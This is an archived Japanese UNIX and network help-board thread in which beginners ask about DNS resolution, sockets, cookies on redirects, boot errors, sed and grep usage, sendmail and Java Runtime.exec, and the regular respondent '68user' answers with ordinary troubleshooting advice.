こんばんは。 最近はお一人で回答をしておられるようでおつかれさまです >68user とかいいつつ私も質問しに来てるんですが…。 で早速ですがどなたか知恵をお貸しください。 現在P4マシン上でRedhat7.1.94を利用しており、100BASEカードを使って LAN経由でインターネットにアクセスしています。 IPはDHCPサーバから割り振られているのですが、Netscapeなど、 どうやらgethostbynameを呼んでいると思われるプログラムが 名前解決できずに困っています。 ただしnslookupやhostコマンドでは正しく名前解決できる上、 Netscape等からも数字のIPを直に打てばアクセスできています。 試しに/etc/hostsに[216.239.33.101 www.google.co.jp]を記述すると、 Netscapeからもアクセスできました。 dhcpのクライアントにはdhcpcd-1.3.18を[/sbin/dhcpcd -n eth0]で 起動していて、自ホストのIPは正しく取得できているようです。 /etc/host.confには[order hosts,bind]のみを記述しており、 resolve.confにはWin2k動作時に調べておいたLAN内DNSサーバの指定 [nameserver 192.168.0.1]を記述しています。 自分なりに無い知識をいくらかでも埋めようとgoogleで探し回ったのですが 全てに目を通すほどパワーが続きませんでした。 どうぞよろしくお願いします。 |
|
はじめまして。 あまりにも簡単な質問のようで申し訳ないのですが、 「ソケット」っていうのは、「IPアドレスとポート番号を組み合わせたもの」でしょうか? どこで読んだのか、「ポート番号とプロセスIDを組み合わせたもの」という考えが頭を離れず、 自分でもいろいろ調べたのですが、解答は見つかりませんでした。 もしかしたら見当違いな質問なのかもしれませが、 ソケットの知識をお持ちの方がおりましたら、ご教授願います。 どうぞよろしくお願い致します。 |
|
>>2779 has ども。最近会社でもやる気ゼロなので、回答なぞしてるんですわ。 もしかして Netscape を起動した後に dhcp クライアントを起動 してません? もしそうなら順番を逆にしてみるとか。 そうでないなら、tcpdump の結果を見せてくださいな。 あと、あらゆる gethostbyname が失敗してますか? % perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))" もダメですか? >>2780 aozora > 「ソケット」っていうのは、「IPアドレスとポート番号を組み合わせたもの」 > でしょうか? 「IP アドレスとポート番号を組み合わせたもの」は相手を一意に特定するための 識別子で、たとえるなら電話番号です。 # ただし、それは IP の話。UNIX ドメインソケットでは、ファイルが識別子です。 「ソケット」は、通信路の端点で、たとえるなら電話機です。 これを同じものと考えてしまうと、例えば bind(2) が理解できなく なります。bind(2) はたとえるなら電話機に電話線をつなぐという 感じでしょうか。 > 「ポート番号とプロセスIDを組み合わせたもの」 違います。1プロセスから複数のソケットを使うことができますから。 |
|
初めて書き込みをします。 UNIXは、まだ初心者です。 お聞きしたい事を書き込みます。 現在、「share」コマンドでディレクトリを共有した後、「dfmount」コマンドで共有されたディレクトリにアクセス中のクライアント名を取り出そうとしています。 「dfmount」コマンドで情報が取れないのですが、どうしてなのでしょうか? 「share」の情報を書き込みます。 > /usr/sbin/share - /share rw=client "File Service" - /home rw=nini:gp7000s,root=gp7000s "File Service" - /shared rw=osl:gp7000s,root=gp7000s "File Service" > |
|
はじめて書き込みます。 UNIXの初心者シドです。 少し教えてほしいことが有ります。 知っていられる方は、お教え願えないでしょうか? 「share」コマンドを実行して、「dfmounts」コマンドを実行すると何も表示されません。なぜでしょうか? 「share」の情報と「dfmounts」コマンドを実行したときの表示部分を書きます。 > /usr/sbin/share - /share rw=client "File Service" - /home rw=nini:gp7000s,root=gp7000s "File Service" - /shared rw=osl:gp7000s,root=gp7000s "File Service" > /usr/sbin/dfmounts > |
|
UNIX初心者(パソコンも初心者です)の私にどうか教えてください。 telnetを使って、redhat環境のマシンに接続して操作をしています。 $shutdown -r now で再起動をしました。 すると、立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、立ち上がって普通は [ユーザ名(マシン名)カレントディレクトリ]$ と出るところで、マシン名がnone(本来はmizuho)になっていました。そして、書き込み可能(-wrxwrxwrx)のファイルを操作しようとすると、読取専用とエラーメッセージが出て操作できなくなってしまいました。(全ファイルそうです) いろいろやってみた結果、 $mount -o remount, rw /dev/hda5 / で、書き込み可能にはなりましたが、再起動をすると読み込み専用に戻ってしまいます。 (boot.log,messageを見てみましたが、snmpd shutdown failedと出ています。これって関係ありますか?) どなたか直し方を教えてください。 お願いします。 それと今、boot画面のメッセージをチェックしようとしているのですが、1行ずつ進める方法があるらしいです。これってどうやるのですか? |
|
はじめまして。 現在どうしても解決できない問題があり、書き込みました。 どなたかご存知の方いらっしゃいましたら、レスよろしくお願いします。 WEBサーバにおいてLocationヘッダで指定したURLへリダイレクトさせて、 かつリダイレクト先へのHTTPリクエストにCookieを設定したいのですが、 設定できない状態になっています。 --------------------------------------------------------- HTTP/1.1 302 Found\n Set-Cookie: test=a; domain=www.hogehoge.co.jp; path=/\n Location: http://www.hogehoge.co.jp\n\n --------------------------------------------------------- のようなレスポンスを返却するCGIを作成したのですが、上記レス ポンスを返すサーバとリダイレクト先のサーバが異なる場合、次の リクエストにCookieが付加されてきません。 Cookieを設定できるのは、自分と同じドメインのみなのでしょうか。 当たり前の事だったら申し訳ありません。 よろしくお願いします。 |
|
>>2785 うみ > Set-Cookie: test=a; domain=www.hogehoge.co.jp; path=/\n cookie で domain をセットしたことがないのでよく知りませんが、 無理なんじゃないでしょうか。これができるなら、任意のサーバの cookie を外部からセットできることになります。 http://www2.studyinghttp.net/cookies.html を見ると、 server-1.hogehoge.co.jp で Set-Cookie: test=a domain=hogehoge.co.jp という cookie を吐くと server-1.hogehoge.co.jp や server-2.hogehoge.co.jp に送り返されるようになる。 ということではないかと思います。 もし、「Location なしだとうまくいくが、Location ありだとダメ」 ということなら、上記の認識は間違っているんでしょうけど。 >>2784 シゲ > 立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、 このときコンソールには何が出力されていますか? 症状からすると 何かしらのエラーが発生して、Read-only で mount され、シングル ユーザモードで起動しているように見えますが、根本原因がコンソール に表示されていると思います。 >>2783 シド >>2775 レイラ 僕には全くわからない分野なので、お役に立てないようです。 |
|
>>2786 68user >> 立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、 > 何かしらのエラーが発生して、Read-only で mount され、シングル > ユーザモードで起動しているように見えますが あ、10分待てば起動するのなら違うのかなぁ。 > snmpd shutdown failedと出ています。これって関係ありますか? shutdown 時のエラーなので関係ないと思います (実は関係あったり するのかもしれませんけど)。 > 1行ずつ進める方法があるらしいです。 少なくとも FreeBSD では、Scroll Lock を押せばスクロールが止まり、 カーソルキーで移動できます。Linux ではどうなのかはわかりません。 |
|
>>2781 68user ソケットについてのご教授、ありがとうございました。 かなり間違って理解していたようですが、 お陰様でソケットの考え方について理解できるようになりました。 |
|
>>2786 68user お返事ありがとうございます。 早速、scroll lockで画面と止めながら(出来ました!)エラーを見てみました。 Updating /etc/fstab failed to open /proc/partitions:No such file or directory Flushing all current rules and user defined chains:ipachains:incompatible with this kernel Clearing all current rules and user and user defined chains:ipchains:Incompatible with this kernel Starting system logger Errot:MM:mm:core:failed to open semaphore file(read-only file system):OS:No such file or directory mount:special device LABEL=/boot does not exisist Starting crond:crond:can't open or create /var/run/crond/pid:Read-only file system と7箇所でエラーが出てました。 これを見て私がわかったのは、 /proc/partitionsがない /bootの何かがない と言うことです。 見てみると、/proc,/boot両ディレクトリの中がまったく存在しませんでした。 何じゃコリャ! UNIX初心者(パソコンも)にはまったく解りません。 どうか、ご教授ください。 |
|
こんばんは。 お仕事大変ですな。まあそう腐らずに頑張ってください >68user さてガキの使いですんません。宿題やってきました。 まずdhcpcdですが、psで確認しても起動時から動いているようなので、 Netscapeの方が先ということはなさそうです。 次にperlスクリプトですが、残念ながら、 Bad arg length for Socket::inet_ntoa, length is 0, should be 4 at -e line 1. と表示されます。要は正引きが失敗しているようです。 逆引きは引数の渡し方がわかりませんでした。 # なんせlinuxからはweb検索にも支障をきたしているもので(^^;) 最後にtcpdumpの出力です。tcpdumpを動かしてから、 % host www.jp.freebsd.org のコマンドと、netscapeにてhttp://www.jp.freebsd.org、 http://210.157.158.42/へのアクセスなどをしてみました。 # が、記録に残っているかは私にはわかりませんでした # /usr/sbin/tcpdump tcpdump: listening on eth0 01:47:38.943528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1226176673 win 8576 (DF) 01:47:38.943528 192.168.0.40.32797 > 192.168.0.1.domain: 29608+ PTR? 198.129.90.143.in-addr.arpa. (45) (DF) 01:47:38.963528 192.168.0.39.3276 > 143.90.129.198.http: S 22004303:22004303(0) win 8192 <mss 1460,nop,nop,sackOK> (DF) 01:47:38.983528 43.242.210.37.6699 > 192.168.0.33.1190: . 3236267430:3236268764(1334) ack 2911899325 win 17252 (DF) 01:47:38.983528 192.168.0.33.1190 > 43.242.210.37.6699: . ack 4294960438 win 17520 <nop,nop,sack sack 1 {4294961772:1334} > (DF) 01:47:38.993528 211.129.12.43.domain > 192.168.0.40.32797: 29608 1/2/2 (141) 01:47:38.993528 192.168.0.40 > 211.129.12.43: icmp: 192.168.0.40 udp port 32797 unreachable [tos 0xc0] 01:47:38.993528 211.129.14.134.domain > 192.168.0.40.32797: 29608 1/2/2 (141) 01:47:38.993528 192.168.0.40 > 211.129.14.134: icmp: 192.168.0.40 udp port 32797 unreachable [tos 0xc0] 01:47:39.003528 143.90.129.198.http > 192.168.0.39.3044: . 5897:6433(536) ack 0 win 32767 01:47:39.013528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1 win 8576 (DF) 01:47:39.013528 143.90.129.198.http > 192.168.0.39.3044: . 6433:6969(536) ack 0 win 32767 01:47:39.013528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1 win 8576 (DF) 01:47:39.023528 43.242.210.37.6699 > 192.168.0.33.1191: . 3298096123:3298097457(1334) ack 2981221337 win 17235 (DF) 01:47:39.023528 143.90.129.198.http > 192.168.0.39.3276: S 1909102369:1909102369(0) ack 22004304 win 536 <mss 536> 01:47:39.023528 192.168.0.39.3276 > 143.90.129.198.http: . ack 1 win 8576 (DF) 01:47:39.023528 192.168.0.39.3276 > 143.90.129.198.http: P 1:43(42) ack 1 win 8576 (DF) |
|
困っています。誰か助けてください。 UNIXのファイルシステムと他のファイルシステムの切り分けをどのコマンドを使用すればいいのかわかりません。(他のファイルシステムは、SafeFile/Globalファイルシステムです。)はじめは、fstypコマンドを使用すれば、良いと思ったんですが、UFS(UNIXファイルシステム)しか、出てきません。それにデバイス中です。と言うエラーが発生して、困っています。解決策を知っている方は、お教え願えないでしょうか? |
|
echoサーバ(Perl)の5行目の 5: use Socket; この文はどういう意味なのでしょうか? おしえてください。 |
|
echoサーバのほうはプログラムに解説してくださっているので、読んでみてなんとか理解できそうなのですが、クライアントのほうを書けそうにありません。クライアントのほうもおしえていただけないでしょうか? |
|
>>2786 68user お騒がせしました。出来ちゃいました。 boot画面を見ていると can't execute rc.sysinit となっていたので、rc.sysinitを見てみるとアクセス権が -rw-r-xr-x となっていました。これでは実行権がないので -rwx-r-xr-x とするとできました。 出来てしまえば簡単なことでした。 ありがとうございました。 |
|
初めまして。大学の授業で初UNIXに相当困り果ててるものです・・・。どうか教えてください。 /usr/dict/words とうゆうファイルは単語の先頭の文字をアルファベット順に並べたものですよね??これを単語のおしまいで分類したものだすようにしたいのです。1行コマンドで・・・。ちなみに大文字と小文字は区別しないで!!! よろしくお願いします(><) |
|
>>2790 has > 最後にtcpdumpの出力です。 Query 投げてないですねぇ。普通は 23:36:51.920878 192.168.0.5.2275 > 192.168.0.1.domain: 4+ A? www.jp.FreeBSD.org. (36) 23:36:52.003329 192.168.0.1.domain > 192.168.0.5.2275: 4 1/4/5 A updraft.jp.FreeBSD.ORG (251) こんな感じのが流れるはずです。念のため、 % strace dig www.jp.FreeBSD.org で流れを追ってみてください。うちの FreeBSD では (*BSD は truss) % truss dig www.jp.FreeBSD.org|egrep 'socket|connect' socket(0x2,0x2,0x0) = 3 (0x3) connect(0x3,{ sa_len = 48, sa_family = 120, sa_data = } },16) = 0 (0x0) となりますが、そちらではどういう結果になりますか? もし socket さえ行っていないようなら、/etc/host.conf とか /etc/resolv.conf の解析あたりでこけているような気がします。 なお、nslookup や host は /etc/hosts や /etc/host.conf を 参照せず、必ず DNS サーバに Query を投げるので、原因の 切り分けの際はご注意を。 > resolve.confにはWin2k動作時に調べておいたLAN内DNSサーバの指定 > [nameserver 192.168.0.1]を記述しています。 DHCP クライアントは /etc/resolv.conf を上書きすると思いますが、 上書き後の内容はどうなっていますか? あとは、DHCP をやめて、手で IP アドレスなどを設定してみると何かに 気づくかも…という役に立たないアドバイスしかないです。 >>2793 だいすけ > 5: use Socket; > この文はどういう意味なのでしょうか? Socket モジュールを使うという宣言です。利点は http://x68000.startshop.co.jp/~68user/net/perl4.html をどうぞ。 >>2793 だいすけ > クライアントのほうを書けそうにありません。 何がわからないのかわからないので、 http://x68000.startshop.co.jp/~68user/net/ を読んでくださいとしか言えません。 >>2795 飴 > これを単語のおしまいで分類したものだすようにしたいのです。 > 1行コマンドで・・・。ちなみに大文字と小文字は区別しないで!!! じゃあヒントだけ。rev というコマンドがあるならそれを 使います。rev がない UNIX なら、わかりません (perl を 使えばできるけど、問題の趣旨とは違うような気がする)。 |
|
あるログファイルに1行出力されるごとに、その行に特定のキーワードが あるかどうかを判断して、あった場合はその行を別のログに出力する といったことをUNIXコマンドでできないかと調べています。 イメージとしては、「tail -f」と「grep」の組み合わせみたいな 感じですが、二つのコマンドをパイプで結合してもダメでした。 何か良い手はないでしょうか? ご存知の方がいたら教えてください。 よろしくお願いします。 |
|
>>2797 HIDE tail -f log | grep foo でできる環境もあります。FreeBSD と Solaris2.6/8 あたりはできるはず。 というか、できない環境をしらないのでアドバイスはできませんが、tail が バッファリングしてるのかな? tail 自体それほど複雑な機能ではないので、さくっと perl などで 自作するのがいいかもしれません。 |
|
>>2798 68user ご回答いただきまして、ありがとうございます。 >tail -f log | grep foo でできる環境もあります。FreeBSD と>Solaris2.6/8あたりはできるはず。 こちらの環境はSolaris2.6です。 tail -f log | grep foo だと意図した形で画面に表示されるのですが、 tail -f log | grep foo >> log2 とやるとlog2には何も出力されないんです・・・・・・ 何か環境が変なのかな? >tail 自体それほど複雑な機能ではないので、さくっと perl などで >自作するのがいいかもしれません。 そうですね。実はこの処理は大容量の性能関連のログから必要な 行を抽出/判定するための使用しようとしているのですが、Perl で作ったらログの行が多いからか、逆にそのツールが動いている 時間はCPUが100%になってしまったのでUNIXコマンドでできないかと 調べている次第です。(Perlはあまり詳しくないので私の作り方が マズイだけかもしれませんが) |
|
>>2799 HIDE > tail -f log | grep foo >> log2 なるほど。grep が出力をバッファリングしてるからですね。ちょっと調べて みた限りでは、/dev/stderr にリダイレクトしてもダメだし、バッファリング ありにするオプションはないようなので、 % tail -f log | perl -ne '$|=1;print if m/foo/' >> log2 てな感じで。 でも、grep でなんとかなりそうな気もするなぁ…。 |
|
>>2800 68user > /dev/stderr にリダイレクトしてもダメだし あー、grep 自体は stdout に出力してるだけだから、シェルで いくら stderr に振ってもどうにもならないですね。 というわけで、続きはここで。 http://pc.2ch.net/test/read.cgi/unix/1022769156/l50 2ch で質問するのなら最初からそっちで聞けっつーの。 |
|
>>2800 68user % tail -f log | perl -ne '$|=1;print if m/foo/' >> log2 をやってみたら、うまくいきました! いろいろ調べていただいたようで、ありがとうございました。m(__)m >でも、grep でなんとかなりそうな気もするなぁ…。 微妙〜なとこでうまくいかないのが悔しいですね。(^^;) でも、この件は急いでいたので大変助かりました。 |
|
>>2801 68user >2ch で質問するのなら最初からそっちで聞けっつーの。 至急性が高かったので両方に投稿しておりました。 大変失礼しました。すいません。 |
|
ここまでまるごとパクリっていうのも... http://www.apk.ne.jp/~yasya/ura/unix/index.html |
|
>>2796 68user digをstrace|egrepした内容です。 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) 一応ソケットを作りに行ってますが、connectはしてないみたいです。 あと設定ファイルですが、起動のたびに上書きされており、 % cat /etc/resolv.conf nameserver 192.168.0.1 となっています。 固定IPを設定するのは気がひけるのでまだやってません(^^;) でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで 決めてるようならいつものIPを指定してみようかな? ついでに >>2781のperlスクリプトをstrace|egrepしてみました。 socket(PF_UNIX, SOCK_STREAM, 0) = 3 connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory) socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 お手数かけてますがどうぞよろしく。 |
|
>>2805 has > digをstrace|egrepした内容です。 > socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 > socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) > socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) > socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) > perlスクリプトをstrace|egrepしてみました。 > socket(PF_UNIX, SOCK_STREAM, 0) = 3 > connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or > directory) > socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 > connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 > socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 > connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 なんか全然違いますねぇ。UDP/IP で、192.168.0.1:53 宛に connect するはずなので、perl の場合の socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 という結果は正しいと思います。perl の実行時に tcpdump してみたら どうなるんでしょうか。 うちではこんな感じです。 % truss perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))" socket(0x2,0x2,0x0) = 4 (0x4) connect(0x4,{ AF_INET 192.168.0.1:53 },16) = 0 (0x0) sendto(0x4,0xbfbfe464,0x24,0x0,0x0,0x0) = 36 (0x24) recvfrom(0x4,0xbfbfed64,0x400,0x0,0xbfbfe238,0xbfbfe1fc) = 251 (0xfb) close(4) = 0 (0x0) close(3) = 0 (0x0) % truss dig www.jp.freebsd.org socket(0x2,0x2,0x0) = 3 (0x3) connect(0x3,{ sa_len = 48, sa_family = 120, sa_data = } },16) = 0 (0x0) sendto(0x3,0xbfbff184,0x24,0x0,0x0,0x0) = 36 (0x24) select(0x4,0xbfbed694,0x0,0x0,0xbfbed60c) = 1 (0x1) recvfrom(0x3,0xbfbef184,0x10000,0x0,0xbfbed684,0xbfbed678) = 251 (0xfb) close(3) = 0 (0x0) ただ、どうも strace から絞り込んでいく方向は遠回りかもしれません。 IPv6 を OFF にしてみるとか、DHCP を使わずにやってみる方が早道かも しれませんね。 > でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで > 決めてるようならいつものIPを指定してみようかな? 大抵の DHCP サーバは、どの MAC アドレスにどの IP アドレスを振った かを数日間記憶していて (設定次第ですが)、できるだけ同じマシンには IP アドレスを振るようにしているので、ちょろっと試す分には OKかと 思います。 >>2804 通りがかり > ここまでまるごとパクリっていうのも... > http://www.apk.ne.jp/~yasya/ura/unix/index.html クレーム入れるのもダルいので、放置です。 ちなみに他にもありますよ :-) http://www.it.ice.uec.ac.jp/~furu/unix/kind.html http://noto.cc4-4.kanagawa-u.ac.jp/~jsato/helps/ コンテンツの引用や転載については http://x68000.startshop.co.jp/~68user/ を読んでください、ということで。 |
|
こんにちは。愛子@UNIX1年生 です。 今回、Cシェルを作成することになり、Cシェルはじめて2週間といった 初心者です。どうぞ、宜しくお願いします。 さて、質問なのですが・・・ [ test.txt ] apple 133 123 orange 133 123 candy 133 156 というファイルがあります。 このファイルの各行末に 変数 TEMPSTR に 格納されている文字列を連結するというCシェルを 作成しようとしています。 [ 作成したシェルスクリプト ] #!/bin/csh set TEMPSTR = "LIST" sed 's/$/,123.45/' < test.txt sed "s/^/${TEMPSTR},/" < test.txt sed "s/$/,${TEMPSTR}/" < test.txt [ 実行結果 ] apple 133 123,123.45 orange 133 123,123.45 candy 133 156 ,123.45 LIST,apple 133 123 LIST,orange 133 123 LIST,candy 133 156 文法があいまいです。 となります。 行頭挿入は、出来るのに行末追加は出来ないのは何故でしょうか??? 文法があいまい ということは、変数の指定がいけないと思うのですが ・・・ 変数の中身は、固定でないので(各行違うデータを文末につけるので) 変数を用いなればなりません。 sed以外でも ファイルの各行の文末に文字列を連結することが 出来るコマンドがあれば、そちらの方法でも構いません。 (行数分LOOPを回してやるというLOOP処理では行数が1万行とかあるので NGですが) 質問の仕方が下手で申し訳ありませんが、宜しくお願い致します。 ちなみにバージョンは、UNIX(r) System V Release 4.0 です。 どなたか、ご教授いただければ大変、嬉しく思います。 |
|
自己レスでごめんなさい。 10Hやって出来なかったので、質問したのですが、 インターネットで調べながらやっていたら、出来ました。 sed 's/$/,'$TEMPSTR'/' < test.txt でした。 また、1行目から2行目まで追加したい時は、 @ RW = 2 sed '1,'$RW's/$/'$TEMPSTR'/' < test.txt のようです。 ご参考までに #!/bin/csh set TEMPSTR = "LIST" @ RW = 2 sed 's/$/,123.45/' test.txt sed "s/^/${TEMPSTR},/" test.txt echo RW = $RW echo TEMPSTR = $TEMPSTR sed '1,2s/$/,GYOUMATSU/' test.txt echo "-----------------------------------------------" sed '1,'$RW's/$/'$TEMPSTR'/' test.txt echo "-----------------------------------------------" sed 's/$/,'$TEMPSTR'/' test.txt どなたかが参考になるといいなぁ・・・ では、お騒がせ致しましたです。 |
|
>>2808 愛子 > sed 's/$/,'$TEMPSTR'/' < test.txt もし "" でくくるなら、sed "s/\$/,$TEMPSTR/" ですが、 csh では "\"" とか '\'' というふうに - "" の中に " を入れる - '' の中に ' を入れる ことはできませんので、\ でエスケープしているといつかは 破綻します。よって、 > sed 's/$/,'$TEMPSTR'/' < test.txt のように必要なところのみ '' でくくるのはよいやり方だと 思います。 |
|
sendmailについての質問があります。 現在sendmailのバージョンは、8.9です。 現在使用しているドメインにもう1つドメインを追加したいのですが、 sendmail.cwファイルを作成して、そこを参照するように.defを このようにしました。 USE_cw_FILECLASS=yes cw_FILE_PATH='/etc/mail/sendmail.cw' そして、sendmail.cwの中にドメイン名を記述したのですが、 これだけでは、だめなのでしょうか? やりたい事は、1つのメールサーバーで2つのドメインのメールを受信 したいのです。 検討違いの事をやっているかもしれませんが、教えてください |
|
はじめまして、こんにちは。 HPを開いているのですがご相談があります。 ネットに関してまだ未熟なもので 申し訳ないですがよろしくお願い致します。m(__)m BBSを2つほどレンタルして設置しているのですが 管理人の記事管理モードなどを使うと 書き込み相手の【ホスト名】というのが表示されています。 これを使ってアクセス制限などをするようなのですが 私のBBSでは1つが【4つの数字】の表示(【IPアドレス】ですか?)で もう1つは【〜jp】での表示です。 これら【ホスト名】とは、パソコン1つ1つで絶対に違うものになるのでしょうか? 人によっては時々その数字やアルファベットが、多少変化しているのですが・・・。 同じ物は絶対に存在しないのでしょうか? 例えば学校内の1つの部屋に沢山のパソコンを置いている場合、 どのパソコンを使ってもこの【ホスト名】は別々のものになりますか? それとも同じになる事もあるのでしょうか? このような質問をさせて頂いたのは実はBBSに書き込みされてる方で 『2つのHNを使い、別人を装ってるのではないか?』と 思われる人がいるからなんです。 その2人の人物はいつも同じ日、同じ時間に書き込んでいるのですが 【ホスト名】が常に同じだったので疑った所 『友人で2人とも学校から書き込んでいる』といいます。 その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所 【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか? わかりにくい文面で申し訳ないですが、 大変困ってますので、どうかよろしくお願い致します・・・。m(__)m |
|
>>2810 りょうこ よいと思います。あるいは MY_ALIAS で指定するとか。 >>2811 あおい > それとも同じになる事もあるのでしょうか? proxy サーバを経由しないと外に出られないようになっているなら、 ホスト名や IP アドレスは proxy サーバのものになります。学校や 会社などではよくある形態です。 > その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所 > 【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか? ed.jp は小・中・高等学校などです。詳しくは http://www.nic.ad.jp/ja/dom/basics.html をどうぞ。ngn は「長野県」でしょうね。 |
|
>>2806 68user perl実行時にstraceしながらtcpdumpしましたが、パケットは流れませんでした。 ただstraceで若干気になったところがあるんですが、 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168\ .0.1")}}, 28) = 0 send(3, "9\307\1\0\0\1\0\0\0\0\0\0\3www\2jp\7freebsd\3org\0"..., 36, 0) = 36 gettimeofday({1025110376, 462410}, NULL) = 0 poll([{fd=3, events=POLLIN}], 1, 5000) = 0 と出力されるうち、sendの戻り値36は何を示しているんでしょう? # ちなみにプログラムはpollでタイムアウトを繰り返して終了します。 固定IPを指定してみましたが、やはり同様に名前解決できませんでした。 ipv6を切るのは、やり方がわかっていないのでまだやっていません。 Webの検索をしたときにSolarisで同じような問題にぶつかって、 それについてMLで質問している記録が掲載されていたのを見付けたので、 その人に直接メールで聞いてみようかなぁ。 # その記事には結末が載っていませんでした |
|
>>2813 has > sendの戻り値36は何を示しているんでしょう? 送信したバイト数ですが、この結果だけ見ればちゃんと query を 送信しているように見えます。 というわけで、strace は手詰りですね。後は netstat -s で統計 情報に何か出ていないか調べてみる、くらいしか思い付きません。 |
|
こんにちは パールのコードについて教えてください。 ログの読み込みなのですが、ファイルハンドルをオープンして通常は @log = <FH>; のような形で取り込むのですが、ログファイルの先頭の 1行だけ必要な場合、その1行だけを取得することはできるのですが、 書き換えたその1行を元の先頭に戻したいのです。 メモリ食いの @log = <FH>; は使わないで、while(<FH>){nantoka;} のような形で解決するコードは無いでしょうか。 よろしくお願いします。 |
|
>>2815 moto use IO::Handle して、sysopen して、<FH> して、先頭に seek で戻って print でいけるかな。 ただし、1行あたりの文字数が変わらない場合のみです。 |
|
こんにちは 68user さん 掲示板のログの読み込みに関してだったのですが、やはり、上手い手は無いようなのですね。 いつも思うのですが、open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら、while 関数ももっと活躍できるのにと残念です。 お騒がせしました。 |
|
>>2817 moto > open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら と言われて思い出しましたが、 +> や +>> ってのがありましたね。 ただ、繰り返しになりますが、文字や行の挿入はできませんよ。 あくまで上書きのみです。よって、あまりうれしくないかも。 |
|
教えてください。 vi エディッタで rm ファイル名で ファイルを削除してしまいました。 復元する方法はありませんか??? よろしくお願いします。 |
|
>>2819 飛鳥 一般的な UNIX のファイルシステムであれば、消したファイルは 復活できません。あきらめましょう。 |
|
ありがとうございます。 素直にあきらめます。。。。。。。。。 |
|
javaのRuntimeクラスを使いシェルスクリプトを実行させたのですが、 シェルスクリプトに引数が渡りません。 以下の記述をしてます。 Runtime.getRuntime().exec("test.sh","param"); シェルスクリプト側で$1変数から引数の値が取得できてません。 解決方法を知ってる方は教えて頂けないでしょうか? |
|
>>2822 help 試してませんが String args[]={"test.sh", "param"}; Runtime.getRuntime().exec(args); とか Runtime.getRuntime().exec(new String[]{"test.sh", "param"}); とかとか。 # 文法あってるかな・・・。 |
|
>>2823 68user わざわざ返答ありがとうございます。 返答された記述も上手くいきませんでした。 シェルスクリプト内で行っている処理なんですが、 引数で渡された値からファイルを削除する処理で 以下のような記述をしてます。 #!/bin/sh /** 別の処理 */ rm -rf $1 |
|
>>2824 help > 返答された記述も上手くいきませんでした。 何がどううまくいかなかったですか? また、うまくいかないと判断した根拠は何ですか? コマンドラインからシェルスクリプトを実行すると動くんですか? うちの Solaris8+J2SE SDK 1.3.1 では String args[]={"test.sh", "param"}; Runtime.getRuntime().exec(args); と Runtime.getRuntime().exec(new String[]{"test.sh", "param"}); それに Runtime.getRuntime().exec("test.sh param"); も動きました。 そもそも > Runtime.getRuntime().exec("test.sh","param"); はコンパイルできなかったのですが、そちらではコンパイルできているん でしょうか? なお、Runtime#exec の出力結果を取得したいならこちらを。 http://www.ongs.net/daichi/java/runtimeexec/index.shtml これをやらなくても画面に表示されないだけで、実行はされています。 |
|
>>2825 68user 説明不足で申し訳ありませんでした。 おかげさまでシェルスクリプト内で 以下の記述を追加して解決できました。 //削除したいファイルのパスに移動 cd /XXX/XXX rm -rf $1 |
|
はじめましてTetsuといいます 早速ですが質問があります WindowsでTCP/IPのプログラムを作っているのですがサーバーはどれにあたるのですか? メールサーバーでしょうか?それともWWWサーバーなのか良くわかりません 自分ではチャットみたいなプログラムを作りたいと思うのですがサーバーとクライアントの関係がまだ良くつかめません 具体的に教えてもらえると助かります |
|
